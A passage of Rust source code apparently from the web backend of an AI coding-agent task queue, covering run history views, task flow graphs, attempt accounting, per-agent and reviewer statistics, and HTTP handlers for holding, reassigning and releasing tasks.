6413 }
6414 RunStatus::Stalled => {
6415 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6416 .to_owned()
6417 }
6418 RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6419 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6420 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6421 RunStatus::VerifiedNoop => {
6422 "Verified no-op: the candidates found nothing to change.".to_owned()
6423 }
6424 other if other.done() => format!("Ended {}.", other.display_label()),
6425 other => format!("In progress ({}).", other.display_label()),
6426 }
6427 };
6428 let view = pass.map(|p| PassView::of(p, settled));
6429 let recorded_end = view
6430 .as_ref()
6431 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6432 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6433 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6434 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6435 None => "whether its attempt was handed back was not recorded",
6436 };
6437 let pass_note = if passes_of_run > 1 {
6438 format!(
6439 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6440 )
6441 } else {
6442 String::new()
6443 };
6444 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6445 let cause = match v.end {
6447 "parked" => format!("It was stopped on purpose: {}.", v.label),
6448 _ => format!("It {}.", v.label),
6449 };
6450 format!(
6451 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6452 capitalise(cost_words)
6453 )
6454 } else if let Some(k) = resumed_later {
6455 let cause = if s.quota.is_empty() {
6462 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6463 } else {
6464 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6465 };
6466 format!(
6467 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6468 )
6469 } else if s.parked {
6470 match recorded_end.and_then(|v| v.cause.as_ref()) {
6471 Some(cause) => format!(
6472 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6473 cause.label(),
6474 cost_words
6475 ),
6476 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6477 .to_owned(),
6478 }
6479 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6480 " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6481 } else if !status.done()
6482 || matches!(
6483 status,
6484 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6485 )
6486 {
6487 String::new()
6488 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6489 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6490 {
6491 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6492 .to_owned()
6493 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6494 " It left a pull request open, so the task was held for a person rather than retried."
6495 .to_owned()
6496 } else if matches!(status, RunStatus::VerifiedNoop) {
6497 " Held for a person to check the claim.".to_owned()
6498 } else if last {
6499 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6500 } else {
6501 " It spent an attempt, and the task moved on to the next run.".to_owned()
6502 };
6503 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6504 let mut attempt = exit.cost();
6505 let mut exit_label = None;
6506 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6507 let spent = match v.cost {
6508 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6509 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6510 None if resumed_later.is_some() => ", refund not recorded",
6511 None => ", attempt refunded",
6512 };
6513 attempt = match v.cost {
6514 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6515 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6516 None if resumed_later.is_some() => AttemptCost::Unknown,
6517 None => attempt,
6518 };
6519 if v.end == "parked" {
6520 exit = RunExit::Parked;
6521 exit_label = Some(match v.cause.as_ref() {
6522 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6523 format!("parked for {}{spent}", c.label())
6524 }
6525 Some(c) => format!("parked ({}){spent}", c.label()),
6526 None => format!("parked{spent}"),
6527 });
6528 } else {
6529 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6530 }
6531 }
6532 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6533 TaskRunView {
6534 activity: None,
6535 n,
6536 id: id.to_owned(),
6537 short,
6538 kind,
6539 status: Some(status.as_str()),
6540 readable: true,
6541 provisional,
6542 description,
6543 outcome: format!("{head}{why}"),
6544 created_at: Some(s.created_at),
6545 pr: s.pr.as_ref().map(|p| p.url.clone()),
6546 exit,
6547 attempt,
6548 exit_label,
6549 later_pass: resumed_later,
6550 pass_n,
6551 passes_of_run,
6552 pass: view,
6553 branch: branch.map(str::to_owned),
6554 badge: None,
6555 }
6556}
6557
6558fn capitalise(s: &str) -> String {
6559 let mut c = s.chars();
6560 c.next().map_or_else(String::new, |f| {
6561 f.to_uppercase().collect::<String>() + c.as_str()
6562 })
6563}
6564
6565#[derive(Debug, Serialize, PartialEq)]
6567struct FlowNode {
6568 key: String,
6570 kind: &'static str,
6572 label: String,
6573 status: Option<&'static str>,
6576 status_of: &'static str,
6579 note: Option<&'static str>,
6581 run_kind: Option<&'static str>,
6582 detail: Option<String>,
6583 decided: bool,
6585 readable: bool,
6586 href: Option<String>,
6587 badge: Option<String>,
6589 started_at: Option<Timestamp>,
6591 time_expected: bool,
6593}
6594
6595#[derive(Debug, Serialize, PartialEq)]
6596struct FlowEdge {
6597 from: String,
6598 to: String,
6599 label: String,
6600 attempt: AttemptCost,
6601}
6602
6603#[derive(Debug, Serialize, PartialEq)]
6604struct FlowView {
6605 nodes: Vec<FlowNode>,
6606 edges: Vec<FlowEdge>,
6607 attempts: usize,
6609 max_attempts: usize,
6610 passes: usize,
6613 runs: usize,
6614}
6615
6616fn task_flow(
6625 task: &Task,
6626 history: &[TaskRunView],
6627 max_attempts: usize,
6628 origin: Option<&FollowUpOrigin>,
6629) -> FlowView {
6630 let max_attempts = task.effective_attempt_limit(max_attempts);
6631 let node = |key: &str, kind, label: String| FlowNode {
6632 key: key.to_owned(),
6633 kind,
6634 label,
6635 status: None,
6636 status_of: "run",
6637 note: None,
6638 run_kind: None,
6639 detail: None,
6640 decided: false,
6641 readable: true,
6642 href: None,
6643 badge: None,
6644 started_at: None,
6645 time_expected: matches!(kind, "start" | "run" | "end"),
6646 };
6647 let mut nodes = Vec::new();
6648 let mut edges: Vec<FlowEdge> = Vec::new();
6649 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6651 let mut n = node(
6652 "chat",
6653 "chat",
6654 format!("Chat {}", crate::queue::short(&link.id)),
6655 );
6656 n.href = Some(link.href);
6657 nodes.push(n);
6658 edges.push(FlowEdge {
6659 from: "chat".to_owned(),
6660 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6661 label: "queued from chat".to_owned(),
6662 attempt: AttemptCost::None,
6663 });
6664 }
6665 if let Some(o) = origin {
6666 let mut n = match &o.parent {
6667 Some(p) => {
6668 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6669 n.status = Some(p.status);
6670 n.status_of = "task";
6671 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6672 n.href = Some(p.href.clone());
6673 n
6674 }
6675 None => {
6676 let mut n = node(
6677 "origin",
6678 "followup",
6679 format!("Follow-up of run {}", o.run.short),
6680 );
6681 n.detail = Some("merged run".to_owned());
6682 n.status = o.run.status;
6683 n.href = o.run.href.clone();
6684 if o.run.href.is_none() {
6685 n.readable = false;
6686 n.note = Some("unreadable");
6687 }
6688 n
6689 }
6690 };
6691 n.decided = true;
6692 let from = n.key.clone();
6693 nodes.push(n);
6694 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6695 let more = o.findings.len().saturating_sub(shown.len());
6696 let label = match (shown.is_empty(), more) {
6697 (true, _) => "open findings".to_owned(),
6698 (false, 0) => format!("open findings {}", shown.join(", ")),
6699 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6700 };
6701 edges.push(FlowEdge {
6702 from,
6703 to: "start".to_owned(),
6704 label,
6705 attempt: AttemptCost::None,
6706 });
6707 }
6708 let mut start = node("start", "start", "Task queued".to_owned());
6709 start.started_at = Some(task.created_at);
6710 nodes.push(start);
6711 let mut prev = "start".to_owned();
6712 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6713 for (i, h) in history.iter().enumerate() {
6714 let key = format!("run-{}", h.n);
6715 let mut n = node(&key, "run", format!("Run {}", h.short));
6716 n.started_at = h
6719 .readable
6720 .then(|| {
6721 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6722 h.created_at
6723 } else {
6724 None
6725 })
6726 })
6727 .flatten();
6728 n.run_kind = Some(h.kind);
6729 n.readable = h.readable;
6730 n.href = Some(format!("#/runs/{}", h.id));
6731 n.decided = h.readable && !h.provisional;
6732 n.detail = h
6733 .branch
6734 .as_ref()
6735 .map(|b| format!("review-only run of branch {b}"));
6736 match h.exit {
6737 RunExit::Unreadable => n.note = Some("unreadable"),
6738 RunExit::Interrupted => n.note = Some("interrupted"),
6739 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6742 _ => {
6743 n.status = h.status;
6744 n.badge = h.badge.clone();
6745 if h.provisional {
6746 n.note = Some("no verdict");
6747 }
6748 }
6749 }
6750 let into = match h.kind {
6751 "review" => Some(format!(
6752 "review-only run of branch {}",
6753 h.branch.as_deref().unwrap_or("?")
6754 )),
6755 "resume" => Some("resume the same run".to_owned()),
6756 _ if i > 0 => Some("retry".to_owned()),
6757 _ => None,
6758 };
6759 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6760 let label = match (prev_exit, into) {
6761 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6762 (Some((_, l, _)), None) => l,
6763 (None, Some(i)) => i,
6764 (None, None) => "claimed".to_owned(),
6765 };
6766 edges.push(FlowEdge {
6767 from: prev.clone(),
6768 to: key.clone(),
6769 label,
6770 attempt,
6771 });
6772 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6773 prev = key;
6774 nodes.push(n);
6775 }
6776 let mut end = node("end", "end", task.status.as_str().to_owned());
6777 end.status = Some(task.status.as_str());
6778 end.status_of = "task";
6779 if task.status == TaskStatus::Held {
6782 end.started_at = task.held_at;
6783 }
6784 nodes.push(end);
6785 let (label, attempt) = match prev_exit {
6786 None => (
6787 format!("no run yet \u{2192} {}", task.status.as_str()),
6788 AttemptCost::None,
6789 ),
6790 Some((e, l, cost)) if e.explains(task.status) => {
6791 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6792 }
6793 Some((_, _, cost)) => (
6794 format!("closed by hand: task is {}", task.status.as_str()),
6795 cost,
6796 ),
6797 };
6798 edges.push(FlowEdge {
6799 from: prev,
6800 to: "end".to_owned(),
6801 label,
6802 attempt,
6803 });
6804 FlowView {
6805 nodes,
6806 edges,
6807 attempts: task.attempts,
6808 max_attempts,
6809 passes: history.len(),
6810 runs: distinct_runs(&task.runs),
6811 }
6812}
6813
6814fn distinct_runs(runs: &[String]) -> usize {
6816 let mut seen: Vec<&str> = Vec::new();
6817 for r in runs {
6818 if !seen.contains(&r.as_str()) {
6819 seen.push(r);
6820 }
6821 }
6822 seen.len()
6823}
6824
6825fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6827 let mut slots = Vec::new();
6828 let mut seen = Vec::new();
6829 for run_id in &task.runs {
6830 if seen.contains(&run_id) {
6831 continue;
6832 }
6833 seen.push(run_id);
6834 let state = read(run_id);
6835 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6836 s.passes
6837 .iter()
6838 .filter(|p| {
6839 p.task_entry
6840 || task
6841 .passes
6842 .iter()
6843 .any(|t| t.run == *run_id && t.pass_index == p.index)
6844 })
6845 .cloned()
6846 .collect()
6847 });
6848 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6849 let total = legacy_count.max(mine.len());
6850 let offset = total - mine.len();
6851 for k in 0..total {
6852 let position = task
6855 .runs
6856 .iter()
6857 .enumerate()
6858 .filter(|(_, r)| *r == run_id)
6859 .nth(k.min(legacy_count - 1))
6860 .unwrap()
6861 .0;
6862 slots.push((
6863 run_id,
6864 state.clone(),
6865 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6866 position,
6867 ));
6868 }
6869 }
6870 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6871 slots.sort_by_key(|(_, state, pass, _)| {
6872 pass.as_ref()
6873 .map(|p| p.started_at)
6874 .or_else(|| state.as_ref().map(|s| s.created_at))
6875 .map_or((true, task.created_at), |at| (false, at))
6876 });
6877 } else {
6878 slots.sort_by_key(|(_, _, _, position)| *position);
6879 }
6880 let mut history = Vec::with_capacity(slots.len());
6881 let mut seen: Vec<&str> = Vec::new();
6882 let mut prior: Option<(&str, RunStatus)> = None;
6883 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6884 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6885 let resumed = k > 0;
6886 seen.push(run_id);
6887 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6888 let pass = pass.as_ref();
6889 let settled = pass.and_then(|p| {
6890 task.passes
6891 .iter()
6892 .find(|t| t.run == **run_id && t.pass_index == p.index)
6893 });
6894 history.push(task_run_view(
6895 run_id,
6896 state.as_ref(),
6897 RunSlot {
6898 n: i + 1,
6899 resumed,
6900 resumed_later: slots[i + 1..]
6901 .iter()
6902 .position(|(id, _, _, _)| id == run_id)
6903 .map(|off| i + off + 2),
6904 prior,
6905 last: i + 1 == slots.len(),
6906 pass,
6907 settled,
6908 pass_n: k + 1,
6909 passes_of_run: total,
6910 },
6911 task,
6912 ));
6913 if let Some(s) = &state {
6914 prior = Some((run::short_of(run_id), s.status));
6915 }
6916 }
6917 history
6918}
6919
6920fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6923 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6924 return;
6925 }
6926 let (_, claimed, _) = run_row_inputs(ui);
6927 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6928 for h in history
6929 .iter_mut()
6930 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6931 {
6932 let Ok(state) = read_run(&ui.runs, &h.id) else {
6933 continue;
6934 };
6935 if state.status.done() {
6936 continue;
6937 }
6938 let live = state.liveness_with(
6939 claimed.contains(&h.id),
6940 |p| probe.borrow_mut().status(p),
6941 |p| probe.borrow_mut().started_at(p),
6942 );
6943 let waiting = !ui.questions.open_for(&h.id).is_empty();
6944 h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6945 let display = run_display_status(&state, waiting, live);
6946 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6947 if matches!(word.as_str(), "stale" | "superseded")
6948 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6949 {
6950 h.badge = Some(word);
6951 }
6952 }
6953}
6954
6955async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6956 blocking(move || {
6957 let id = resolve_task(&ui.queue, &id)?;
6958 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6959 })
6960 .await
6961}
6962
6963async fn task_detail(
6964 State(ui): State<Arc<Ui>>,
6965 Path(id): Path<String>,
6966) -> ApiResult<Json<TaskDetailView>> {
6967 blocking(move || {
6968 let id = resolve_task(&ui.queue, &id)?;
6969 let task = ui
6970 .queue
6971 .get(&id)
6972 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6973 let inv = if task.status == TaskStatus::Blocked {
6974 Some(crate::blockers::Inventory::load_for(
6975 &ui.queue,
6976 &ui.questions,
6977 &task,
6978 ))
6979 } else {
6980 None
6981 };
6982 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6983 mark_badges(&ui, &task, &mut history);
6984 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6985 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6986 let origin = task.followup.as_ref().map(|fu| {
6987 followup_origin(
6988 fu,
6989 |tid| ui.queue.get(tid).ok(),
6990 |rid| read_run(&ui.runs, rid).ok(),
6991 )
6992 });
6993 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6994 let task_view = match inv.as_ref() {
6995 Some(inv) => TaskView::with_inventory(task, inv),
6996 None => TaskView::from(task),
6997 }
6998 .with_recovery_decisions(&ui.questions);
6999 Ok(Json(TaskDetailView {
7000 max_attempts,
7001 flow,
7002 followup_origin: origin,
7003 passes_total: history.len(),
7004 runs_distinct: distinct_runs(&task_view.task.runs),
7005 history,
7006 runs_unreadable,
7007 attempts_note: ATTEMPTS_NOTE,
7008 task: task_view,
7009 }))
7010 })
7011 .await
7012}
7013
7014#[derive(Debug, Serialize)]
7018struct RateView {
7019 pct: f64,
7020 denominator: usize,
7021}
7022
7023impl RateView {
7024 fn of(numerator: usize, denominator: usize) -> Option<Self> {
7025 (denominator > 0).then(|| Self {
7026 pct: 100.0 * numerator as f64 / denominator as f64,
7027 denominator,
7028 })
7029 }
7030}
7031
7032#[derive(Debug, Serialize)]
7037struct StatsTotalsView {
7038 runs: usize,
7039 merged: usize,
7040 ready: usize,
7041 blocked: usize,
7042 failed: usize,
7043 stalled: usize,
7044 verified_noop: usize,
7045 superseded: usize,
7046 in_progress: usize,
7047 completion_rate: Option<RateView>,
7048 tallied: usize,
7049 split: usize,
7050 split_rate: Option<RateView>,
7051 deliberated: usize,
7052 minds_changed: usize,
7053 converged: usize,
7054 review_rounds: usize,
7055}
7056
7057impl From<&stats::Totals> for StatsTotalsView {
7058 fn from(t: &stats::Totals) -> Self {
7059 Self {
7060 runs: t.runs,
7061 merged: t.merged,
7062 ready: t.ready,
7063 blocked: t.blocked,
7064 failed: t.failed,
7065 stalled: t.stalled,
7066 verified_noop: t.verified_noop,
7067 superseded: t.superseded,
7068 in_progress: t.in_progress,
7069 completion_rate: RateView::of(t.merged + t.ready, t.runs),
7070 tallied: t.tallied,
7071 split: t.split,
7072 split_rate: RateView::of(t.split, t.tallied),
7073 deliberated: t.deliberated,
7074 minds_changed: t.minds_changed,
7075 converged: t.converged,
7076 review_rounds: t.review_rounds,
7077 }
7078 }
7079}
7080
7081#[derive(Debug, Serialize)]
7083struct AgentStatsView {
7084 agent: String,
7085 entered: usize,
7086 wins: usize,
7087 empty: usize,
7088 win_rate: Option<RateView>,
7089 competitive_entered: usize,
7090 competitive_wins: usize,
7091 competitive_win_rate: Option<RateView>,
7092 solo_entered: usize,
7093 solo_adopted: usize,
7094 solo_adoption_rate: Option<RateView>,
7095}
7096
7097impl From<&stats::AgentStats> for AgentStatsView {
7098 fn from(a: &stats::AgentStats) -> Self {
7099 Self {
7100 agent: a.agent.clone(),
7101 entered: a.entered,
7102 wins: a.wins,
7103 empty: a.empty,
7104 win_rate: RateView::of(a.wins, a.entered),
7105 competitive_entered: a.competitive_entered,
7106 competitive_wins: a.competitive_wins,
7107 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7108 solo_entered: a.solo_entered,
7109 solo_adopted: a.solo_adopted,
7110 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7111 }
7112 }
7113}
7114
7115#[derive(Debug, Serialize)]
7119struct ReviewerStatsView {
7120 agent: String,
7121 rounds: usize,
7122 seated: usize,
7123 submitted: usize,
7124 adopted: usize,
7125 unique: usize,
7126 timeouts: usize,
7127 adopted_per_round: Option<f64>,
7128 precision: Option<RateView>,
7129 unique_rate: Option<RateView>,
7130 timeout_rate: Option<RateView>,
7131}
7132
7133impl From<&stats::ReviewerStats> for ReviewerStatsView {
7134 fn from(r: &stats::ReviewerStats) -> Self {
7135 Self {
7136 agent: r.agent.clone(),
7137 rounds: r.rounds,
7138 seated: r.seated,
7139 submitted: r.submitted,
7140 adopted: r.adopted,
7141 unique: r.unique,
7142 timeouts: r.timeouts,
7143 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7144 precision: RateView::of(r.adopted, r.submitted),
7145 unique_rate: RateView::of(r.unique, r.submitted),
7146 timeout_rate: RateView::of(r.timeouts, r.seated),
7147 }
7148 }
7149}
7150
7151#[derive(Debug, Serialize)]
7157struct AdvisorStatsView {
7158 agent: String,
7159 seated: usize,
7160 proposed: usize,
7161 absent: usize,
7162 faint: usize,
7163 strong: usize,
7164 reflection_rate: Option<RateView>,
7165}
7166
7167impl From<&stats::AdvisorStats> for AdvisorStatsView {
7168 fn from(a: &stats::AdvisorStats) -> Self {
7169 Self {
7170 agent: a.agent.clone(),
7171 seated: a.seated,
7172 proposed: a.proposed,
7173 absent: a.absent,
7174 faint: a.faint,
7175 strong: a.strong,
7176 reflection_rate: RateView::of(a.strong, a.proposed),
7177 }
7178 }
7179}
7180
7181#[derive(Debug, Serialize)]
7183struct E2eStatsView {
7184 rounds: usize,
7185 failures: usize,
7186 sole_detections: usize,
7187 deferred: usize,
7188 sole_rate: Option<RateView>,
7189}
7190
7191impl From<&stats::E2eStats> for E2eStatsView {
7192 fn from(e: &stats::E2eStats) -> Self {
7193 Self {
7194 rounds: e.rounds,
7195 failures: e.failures,
7196 sole_detections: e.sole_detections,
7197 deferred: e.deferred,
7198 sole_rate: RateView::of(e.sole_detections, e.failures),
7199 }
7200 }
7201}
7202
7203#[derive(Debug, Serialize)]
7211struct ReleaseBumpStatsView {
7212 merged: usize,
7213 recorded: usize,
7214 pr_opened: usize,
7215 automerge_enabled: usize,
7216 merged_directly: usize,
7217 needs_attention: usize,
7218 clean: usize,
7219 coverage_rate: Option<RateView>,
7220 automerge_rate: Option<RateView>,
7221 attention_rate: Option<RateView>,
7222}
7223
7224impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7225 fn from(b: &stats::ReleaseBumpStats) -> Self {
7226 Self {
7227 merged: b.merged,
7228 recorded: b.recorded,
7229 pr_opened: b.pr_opened,
7230 automerge_enabled: b.automerge_enabled,
7231 merged_directly: b.merged_directly,
7232 needs_attention: b.needs_attention,
7233 clean: b.clean(),
7234 coverage_rate: RateView::of(b.recorded, b.merged),
7235 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7236 attention_rate: RateView::of(b.needs_attention, b.recorded),
7237 }
7238 }
7239}
7240
7241#[derive(Debug, Serialize)]
7243struct TaskCountsView {
7244 queued: usize,
7245 running: usize,
7246 done: usize,
7247 failed: usize,
7248 held: usize,
7249 blocked: usize,
7250 parked: usize,
7251}
7252
7253impl From<crate::queue::TaskCounts> for TaskCountsView {
7254 fn from(c: crate::queue::TaskCounts) -> Self {
7255 Self {
7256 queued: c.queued,
7257 running: c.running,
7258 done: c.done,
7259 failed: c.failed,
7260 held: c.held,
7261 blocked: c.blocked,
7262 parked: c.parked,
7263 }
7264 }
7265}
7266
7267#[derive(Debug, Serialize)]
7273struct RepoSummaryView {
7274 repo: String,
7277 name: String,
7279 runs: usize,
7280 completion_rate: Option<RateView>,
7281}
7282
7283impl From<&stats::RepoStats> for RepoSummaryView {
7284 fn from(r: &stats::RepoStats) -> Self {
7285 let t = &r.stats.totals;
7286 Self {
7287 repo: r.repo.to_string_lossy().into_owned(),
7288 name: r.name.clone(),
7289 runs: t.runs,
7290 completion_rate: RateView::of(t.merged + t.ready, t.runs),
7291 }
7292 }
7293}
7294
7295#[derive(Debug, Serialize)]
7301struct StatsView {
7302 totals: StatsTotalsView,
7303 agents: Vec<AgentStatsView>,
7305 reviewers: Vec<ReviewerStatsView>,
7307 advisors: Vec<AdvisorStatsView>,
7309 e2e: E2eStatsView,
7310 release_bumps: ReleaseBumpStatsView,
7311 queue: Option<TaskCountsView>,
7312 runs_unreadable: usize,
7322 repos: Vec<RepoSummaryView>,
7326 daily: Vec<DailyStatsView>,
7331 repo: Option<String>,
7335 retired_hidden: Vec<String>,
7339}
7340
7341#[derive(Debug, Serialize)]
7343struct DailyStatsView {
7344 date: String,
7346 runs: usize,
7347 merged: usize,
7348 ready: usize,
7349 other: usize,
7350 completion_rate: Option<RateView>,
7352}
7353
7354impl From<&stats::DayBucket> for DailyStatsView {
7355 fn from(b: &stats::DayBucket) -> Self {
7356 Self {
7357 date: b.date.to_string(),
7358 runs: b.runs,
7359 merged: b.merged,
7360 ready: b.ready,
7361 other: b.other,
7362 completion_rate: RateView::of(b.merged + b.ready, b.runs),
7363 }
7364 }
7365}
7366
7367const STATS_DAILY_DAYS: usize = 30;
7369
7370#[derive(Debug, Default, Deserialize)]
7379#[serde(default)]
7380struct StatsQuery {
7381 repo: Option<String>,
7382 all: bool,
7384 runs_only: bool,
7386}
7387
7388async fn stats_get(
7395 State(ui): State<Arc<Ui>>,
7396 Query(q): Query<StatsQuery>,
7397) -> ApiResult<Json<StatsView>> {
7398 blocking(move || {
7399 let states: Vec<RunState> = run_ids(&ui.runs)
7400 .into_iter()
7401 .filter_map(|id| read_run(&ui.runs, &id).ok())
7402 .collect();
7403 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7404 .iter()
7405 .map(RepoSummaryView::from)
7406 .collect();
7407 let mut scoped: Vec<&RunState> = states.iter().collect();
7408 let mut collected = match &q.repo {
7409 Some(repo) => {
7410 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7411 if filtered.is_empty() {
7412 return Err(ApiError::not_found(format!(
7413 "no runs recorded against repo `{repo}`"
7414 )));
7415 }
7416 scoped = filtered.clone();
7417 stats::collect_refs(filtered)
7418 }
7419 None => stats::collect(&states),
7420 };
7421 if !q.all {
7422 let repo = q
7423 .repo
7424 .as_deref()
7425 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7426 stats::retain_current_roster(&mut collected, &repo);
7427 }
7428 let daily = stats::daily(
7429 scoped,
7430 jiff::Zoned::now().date(),
7431 &jiff::tz::TimeZone::system(),
7432 STATS_DAILY_DAYS,
7433 );
7434 let queue_counts = (!q.runs_only)
7435 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7436 Ok(Json(StatsView {
7437 totals: StatsTotalsView::from(&collected.totals),
7438 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7439 reviewers: collected
7440 .reviewers
7441 .iter()
7442 .map(ReviewerStatsView::from)
7443 .collect(),
7444 advisors: collected
7445 .advisors
7446 .iter()
7447 .map(AdvisorStatsView::from)
7448 .collect(),
7449 e2e: E2eStatsView::from(&collected.e2e),
7450 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7451 queue: queue_counts,
7452 runs_unreadable: runs_unreadable(&ui.runs),
7453 repos,
7454 daily: daily.iter().map(DailyStatsView::from).collect(),
7455 repo: q.repo.clone(),
7456 retired_hidden: collected.retired_hidden.clone(),
7457 }))
7458 })
7459 .await
7460}
7461
7462#[derive(Debug, Default, Deserialize)]
7465#[serde(default, deny_unknown_fields)]
7466struct HoldBody {
7467 reason: Option<String>,
7468}
7469
7470async fn queue_hold(
7471 State(ui): State<Arc<Ui>>,
7472 Path(id): Path<String>,
7473 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7474) -> ApiResult<Json<TaskView>> {
7475 let body = match body {
7479 Ok(Json(body)) => body,
7480 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7481 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7482 };
7483 let reason = body.reason.filter(|r| !r.trim().is_empty());
7484 mutate(ui, id, move |t| {
7485 t.hold_manual(reason.clone());
7486 Ok(())
7487 })
7488 .await
7489}
7490
7491#[derive(Deserialize)]
7492#[serde(deny_unknown_fields)]
7493struct ReassignBody {
7494 repo: PathBuf,
7495}
7496
7497async fn queue_reassign(
7498 State(ui): State<Arc<Ui>>,
7499 Path(id): Path<String>,
7500 Json(body): Json<ReassignBody>,
7501) -> ApiResult<Json<TaskView>> {
7502 let home = ui.home.clone();
7503 let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7504 .await
7505 .map_err(ApiError::bad_request_from)?;
7506 let notes = crate::task_reassign::advisory_notes(&task, &home);
7507 let mut view = TaskView::from(task);
7508 view.reassignment_notes = notes;
7509 Ok(Json(view))
7510}
7511
7512async fn queue_release(
7513 State(ui): State<Arc<Ui>>,
7514 Path(id): Path<String>,
7515) -> ApiResult<Json<TaskView>> {
7516 mutate(ui, id, |t| {
7517 t.release_operator("web", None);
7518 Ok(())
7519 })
7520 .await
7521}
7522
7523#[derive(Debug, Deserialize)]
7524#[serde(deny_unknown_fields)]
7525struct AttemptLimitBody {
7526 attempt_limit: serde_json::Value,
7528}
7529
7530async fn queue_attempt_limit(
7531 State(ui): State<Arc<Ui>>,
7532 Path(id): Path<String>,
7533 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7534) -> ApiResult<Json<TaskView>> {
7535 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7536 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7537 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7538 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7539}
7540
7541#[derive(Debug, Deserialize)]
7542#[serde(deny_unknown_fields)]
7543struct ImplementersBody {
7544 implementers: u8,
7545}
7546
7547async fn queue_implementers(
7548 State(ui): State<Arc<Ui>>,
7549 Path(id): Path<String>,
